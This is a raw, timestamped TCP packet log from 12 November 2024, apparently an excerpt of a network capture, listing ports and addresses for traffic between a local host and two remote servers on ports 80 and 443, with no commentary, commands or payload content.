Nov 12, 2024 15:41:06.280767918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280805111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280920982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280940056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280951977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280958891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280966997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280977011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280980110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280991077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280992985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281003952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281008959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281016111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281028032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281038046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281042099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281054974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281070948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281102896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281241894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281258106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281274080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281280041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281287909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281301975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281301975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281316996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281323910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281331062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281342983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281353951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281361103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281368017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281372070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281380892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281393051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281399012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281430006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281522989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281536102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281546116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281558990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281559944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281574011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281584978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281596899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281600952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281610966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281621933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281625986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281634092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281636000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281646967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281666040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281692982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281709909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281723022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281733990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281745911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281749010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281759977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281770945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281805038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281831026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281841040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281852007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281863928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281867027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281877041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281882048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281888008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281910896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281938076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.281958103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281970024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281980038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281991959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.281996012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282004118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282016993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282023907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282028913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282040119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282077074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282083988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282094955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282099009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282111883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282119989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282130957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282145977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282161951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282191992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282202959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282212973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282227993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282226086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282239914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282252073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282258987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282288074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282306910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282320976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282332897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282345057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282349110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282356977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282372952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282402039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282407045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282421112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282430887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282443047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282453060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282454014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282466888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282471895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282478094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282505035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282526016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282551050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282562017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282573938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.282588959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282601118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.282617092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:09.230686903 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.230734110 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:09.230937958 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.231167078 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.231178999 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:09.368840933 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.368884087 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:09.368993998 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.369194031 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.369199991 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:09.493509054 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.493556023 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:09.493653059 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.493869066 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.493877888 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:09.506800890 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.506835938 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:09.506910086 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.507112026 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:09.507122993 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.090836048 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.132922888 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.231748104 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.286703110 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.298537970 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.298583031 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.299685955 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.299770117 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.338223934 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.338248968 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.338594913 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.339421988 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.339433908 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.339495897 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.345725060 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.345880985 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.345887899 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.345896959 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.346169949 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.346247911 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.346822023 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.346883059 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.353054047 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.353121996 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.353292942 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.353303909 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.353331089 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.353339911 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.353507042 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.353512049 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.373641968 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.381804943 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.381818056 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.382757902 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.382824898 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.383410931 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.383465052 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.383603096 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.383609056 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.404320955 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.404323101 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.404323101 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.435556889 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.622668982 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.632713079 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.632766962 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.632795095 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.632822037 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.632850885 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.632889032 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.635957003 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.636087894 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.636125088 CET	443	49736	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.636179924 CET	49736	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.639616013 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.639883041 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.639931917 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.639940977 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.639976978 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.640014887 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.640019894 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.640238047 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.640280008 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.640285015 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.648391962 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.648458958 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.648464918 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.659835100 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.673630953 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.673654079 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.674618006 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.674674988 CET	443	49737	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.674741030 CET	49737	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.689332008 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.689343929 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.704946041 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.704957008 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.705888987 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.705948114 CET	443	49739	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.706017017 CET	49739	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.736212969 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.756295919 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.756360054 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.756409883 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.756419897 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.759344101 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.759412050 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.759417057 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.763710022 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.763778925 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.763788939 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.772310019 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.772380114 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.772387028 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.781750917 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.781812906 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.781825066 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.789841890 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.789920092 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.789926052 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.798595905 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.798654079 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.798660040 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.807485104 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.807542086 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.807547092 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.816817045 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.816884995 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.816893101 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.862150908 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.862163067 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.873476028 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.873513937 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.873545885 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.873553038 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.873603106 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.873856068 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.874000072 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.874041080 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.874046087 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.876410961 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.876441002 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.876455069 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.876460075 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.876497030 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.878997087 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.882260084 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.882292986 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.882314920 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.882318974 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.882359028 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.889445066 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.895226002 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.895256042 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.895268917 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.895273924 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.895311117 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.901145935 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.907063961 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.907119989 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.907124996 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.913765907 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.913796902 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.913821936 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.913825989 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.913870096 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.913877010 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.919380903 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.919440031 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.919444084 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.925924063 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.925977945 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.925987005 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.931396008 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.931443930 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.931448936 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.937577009 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.937629938 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.937634945 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.943655014 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.943707943 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.943718910 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.949615002 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.949681997 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.949687958 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.955554008 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.955605030 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.955610037 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.980824947 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.980906963 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.980912924 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990242004 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990294933 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.990299940 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990361929 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990394115 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990401983 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.990410089 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990448952 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.990705013 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990789890 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.990835905 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.990840912 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.991386890 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.991435051 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.991439104 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.995970964 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:10.996020079 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:10.996023893 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.001357079 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.001413107 CET	49738	443	192.168.2.4	142.250.185.164
Nov 12, 2024 15:41:11.001419067 CET	443	49738	142.250.185.164	192.168.2.4
Nov 12, 2024 15:41:11.006917000 CET	443	49738	142.250.185.164	192.168.2.4
